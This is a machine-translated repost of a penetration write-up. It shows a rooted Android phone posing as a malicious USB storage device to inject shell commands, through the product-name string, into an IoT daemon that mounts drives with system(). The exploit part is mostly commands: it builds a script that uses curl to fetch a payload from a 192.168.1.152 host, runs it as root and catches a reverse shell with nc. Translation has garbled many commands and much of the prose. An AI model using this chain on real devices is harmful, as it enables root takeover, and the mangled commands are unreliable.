Shulou(Shulou.com)05/31 Report--

This article will explain in detail the example analysis of injection penetration for USB peripheral commands. The editor thinks it is very practical, so I share it with you as a reference. I hope you can get something after reading this article.

Words written in the front

When I saw [this report], I suddenly realized that it might be interesting to use USB as the attack surface of Internet of things devices. Many devices now allow users to use USB devices and then perform certain operations automatically, but this automation feature is too trusting for USB devices.

I have found that some Internet of things devices automatically mount any USB mass storage device connected to it, and if the device sets some special properties, the device may use these properties to create a mount directory name. In addition, many mount operations are achieved by calling C system functions, and malicious USB devices can execute arbitrary commands in this way. Because the daemon responsible for this operation runs with root privileges, an attacker can plug a USB device into the device and wait a few seconds before executing arbitrary commands with root privileges.

Here, I intend to turn my Android device into a custom version of USB peripherals, and then test it. I am using a root Nexus 5X, the system version is Android 8.1. Next, let's get to the topic.

Using Android as a mass storage device

Here I need to use the Android device as an USB mass storage device and set some properties that I control: the product name string, the product model string, and the disk label.

I don't know much about ConfigFS, but when faced with / config/usb_gadget, I intend to use the ConfigFS method to turn my device into a high-capacity USB storage device. I wrote a script myself to create all the entries, but during the test, I encountered the following hint:

Mkdir:'/ config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

I don't quite understand why this doesn't work, but it's clear that this method doesn't apply here. So I began to study the kernel source code of Android and Linux, but the source code made me feel a bit sore. Eventually I found that I just needed to create / bin/touch / tmp/haxxed on the device and declare myself as 1337, so I focused on the init file for Android.

By analyzing the init file of Android, we will find two different .rc files for USB: init.usb.configfs.rc and init.usb.rc. Both files look at the sys.usb.configfs property to determine whether the property value used by the init.usb.configfs.rc file is "1", otherwise init.usb.rc will be used. In my test scenario, sys.usb.configfs is "0", but I didn't test what happens when sys.usb.configfs is "1".

Explore unknown areas

Since our main analysis goal falls on the "/ sys/class/android_usb/android0" directory, let's take a look at what's in this directory:

Bullhead:/sys/class/android_usb/android0 # lsbDeviceClass f_acm f_ffs f_rmnet iManufacturer powerbDeviceProtocol f_audio f_gps f_rmnet_smd iProduct remote_wakeupbDeviceSubClass f_audio_source f_mass_storage f_rndis iSerial statebcdDevice f_ccid f_ Midi f_rndis_qc idProduct subsystemdown_pm_qos_sample_sec f_charging f_mtp f_serial idVendor ueventdown_pm_qos_threshold f_diag f_ncm f_uasp idle_pc_rpm_no_int_secs up_pm_qos_sample_secenable f_ecm f_ptp f _ usb_mbim pm_qos up_pm_qos_thresholdf_accessory f_ecm_qc f_qdss functions pm_qos_state

IdVendor, idProduct, iProduct, iManufacturer, and f_mass_storage all look very familiar. If you are familiar with ConfigFS, the content of f_mass_storage looks similar to that of the mass_storage function:

Bullhead:/sys/class/android_usb/android0 # ls f_mass_storagedevice inquiry_string lun luns power subsystem ueventbullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lunfile nofua power ro uevent

My goal is to infiltrate the target device by creating a malicious usb device, not to learn the inner workings of the linux kernel and how to set Android as a usb peripheral. I intend to explore this issue in depth in the future, when I may write a more comprehensive blog post. There are many articles about the source code and the device itself that may help you understand how to use this directory.

The configuration of these lines of the init.usb.rc file caught my attention:

Write / sys/class/android_usb/android0/enable 0.... write / sys/class/android_usb/android0/functions ${sys.usb.config} write / sys/class/android_usb/android0/enable 1

So what does this function do when I plug the developer device into the target device and connect using ADB?

Bullhead:/sys/class/android_usb/android0 # cat functionsffs

I found that the ADB connection of the device is achieved through FunctionFS, and FunctionFS and ffs happen to be my shortcomings. Here you need to modify its corresponding value and set it to mass_storage to see what happens.

Bullhead:/sys/class/android_usb/android0 # echo 0 > enable

Well, my ADB session just hung up. Fortunately, ADB can work through TCP/IP, so:

Adb tcpip 5555adb connect 192.168.1.18:5555

Once connected, we can turn the USB device into a mass storage device:

Bullhead:/sys/class/android_usb/android0 # echo 0 > enablebullhead:/sys/class/android_usb/android0 # echo mass_storage > functionsbullhead:/sys/class/android_usb/android0 # echo 1 > enable make an image

When making an image, I need to control the value of the disk label. The main purpose is to allow the target device to identify our device as a mass storage device and complete the device loading:

Dd if=/dev/zero of=backing.img count=50 bs=1M

This command creates a file named backing.img, the size of which is 50MB, and then formats it using fdisk:

Echo-e-n'o\ nn\ n\ nt\ nc\ nw\ n' | fdisk backing.img

After running, the effect is as follows:

Welcome to fdisk (util-linux 2.31.1). Changes will remain in memory only, until you decide to write them.Be careful before using the write command.Device does not contain a recognized partition table.Created a new DOS disklabel with disk identifier 0xd643eccd.Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.Command (m for help): Partition type p primary (0 primary, 0 extended, 4 free) e extended (container for logical partitions) Select (default p): Using default response p.Partition number (1-4) Default 1): First sector (2048-20479, default 2048): Last sector, + sectors or + size {K of type M Linux' and of size G of type P} (2048-20479, default 20479): Linux' and of size 9 MiB.Command (m for help): Selected partition 1Hex code (type L to list all codes): Changed type of partition 'Linux' to' W95 FAT32 (LBA)'. Command (m for help): The partition table has been altered.Syncing disks.

Next, add a DOS partition table to the image and use the FAT32 format:

# losetup-- offset 1048576-f backing.img / dev/loop0# mkdosfs-n "HAX" / dev/loop0# losetup-d / dev/loop0

With the help of image files, we can implement fully functional USB devices:

$adb tcpip 5555$ adb connect 192.168.1.18 purl 5555$ adb push backing.img / dev/local/tmp/$ adb shell

Run the following command in adb shell:

$su# echo 0 > / sys/class/android_usb/android0/enable# echo'/ data/local/tmp/backing.img' > / sys/class/android_usb/android0/f_mass_storage/lun/file# echo 'mass_storage' > / sys/class/android_usb/android0/functions# echo 1 > / sys/class/android_usb/android0/enable

If all goes well, you will see the following:

# lsusb-v-d 18d1:Bus 003 Device 036: ID 18d1:4ee7 Google Inc. Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x18d1 Google Inc. IdProduct 0x4ee7 bcdDevice 3.10 iManufacturer 1 LGE iProduct 2 Nexus 5X iSerial 3 0000000000000000 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 32 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0x80 (Bus Powered) MaxPower 500mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 8 Mass Storage bInterfaceSubClass 6 SCSI bInterfaceProtocol 80 Bulk-Only iInterface 5 Mass Storage Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 1Device Qualifier (for other device speed): bLength 10 bDescriptorType 6 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 bNumConfigurations 1Device Status: 0x0000 (Bus Powered)

The device information is as follows:

$ls-lh / dev/disk/by-id lrwxrwxrwx 1 root root 9 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0root root 0->.. / sdblrwxrwxrwx 1 root root 10 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1->.. /.. / sdb1

Device loading:

$mkdir HAX & & sudo mount / dev/sdb1 HAX

We can modify the relevant parameters according to our own needs at this time:

# echo 0 > / sys/class/android_usb/android0/enable# echo 1337 > / sys/class/android_usb/android0/idProduct# echo 'Carve Systems' > / sys/class/android_usb/android0/iManufacturer# echo' 1337 Hacking Team' > / sys/class/android_usb/android0/iProduct# echo 1 > / sys/class/android_usb/android0/enable$ lsusb-v-d 18d1:Bus 003 Device 044: ID 18d1:1337 Google Inc. Device Descriptor:.... IdProduct 0x1337.... IManufacturer 1 Carve Systems iProduct 2 1337 Hacking USB.... Begin to infiltrate

The code I use is as follows:

Snprintf (dir, DIR_SIZE, "/ mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct); snprintf (cmd, CMD_SIZE, "mount% s% s", / dev/DEVICE, dir); system (cmd); my PoC exploit steps are as follows:

1. Inject a shell script into the cwd of the vulnerable daemon, and then generate a reverse Shell

2. Execute the file using sh

Once the Android device is configured, we can directly use the following command to complete the exploit:

The complete command chain code of echo 0 > enableecho'; {cmd};'> iProductecho 1 > enable is as follows: # echo 0 > / sys/class/android_usb/android0/enable# echo'; echo$ {IFS} b = `printf $IFS' "'"\\ x2f'""'"'> ``> > an IFS''> / sys/class/android_usb/android0/iProduct# echo 1 > / sys/class/android_usb/android0/enable# echo 0 > / sys/class/android_usb/android0/enable# echo'; echo$ {IFS} s =\" $IFS\ "> > a '> / sys/class/android_usb/android0/iProduct# echo 1 > / sys/class/android_usb/android0/enable# echo 0 > / sys/class/android_usb/android0/enable# echo'; echo$ {IFS} u=http:\ $b\ ${b} 192.168.1.152 echo$ 8000\ ${b} shell > > a sys/class/android_usb/android0/enable# echo'> / sys/class/android_usb/android0/iProduct# echo 1 > / sys/class/android_usb/android0/enable# echo 0 > / sys/class/android_usb/android0/enable# echo' Echo$ {IFS} curl\ $smurs\ $smuro\ ${s} shell\ $s\ $u > > a political'> / sys/class/android_usb/android0/iProduct# echo 1 > / sys/class/android_usb/android0/enable# echo 0 > / sys/class/android_usb/android0/enable# echo'; echo$ {IFS} chmod\ $squix\ ${s} shell > > a / sys/class/android_usb/android0/iProduct# echo 1 > / sys/class/android_usb/android0/enable# echo 0 > / sys/class/android_usb/android0/enable# echo'; echo$ {IFS}\ ${b} shell > > a sys/class/android_usb/android0/enable# echo'> / sys/class/android_usb/android0/iProduct# echo 1 > / sys/class/android_usb/android0/enable# echo 0 > / sys/class/android_usb/android0/enable# echo'; sh$ {IFS} a '> / sys/class/android_usb/android0/iProduct# echo 1 > / sys/class/android_usb/android0/enable

The following files (/ a) are created after the command is run:

Bouncing shellcurl$s-s$s-o$ shellcurl$s-s$s-o$ s= "upright http shell$ shell ${b} 192.168.1.152 virtual 8000 ${b} https {s} shell$ {b}

The last command uses the "sh a" command to execute the file, and the script returns a reverse Shell Payload:

$nc-l-p 3567iduid=0 (root) gid=0 (root) groups=0 (root)

At this point, our exploit is officially completed.

This is the end of the article on "sample Analysis of injection Penetration of USB Peripheral commands". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, please share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.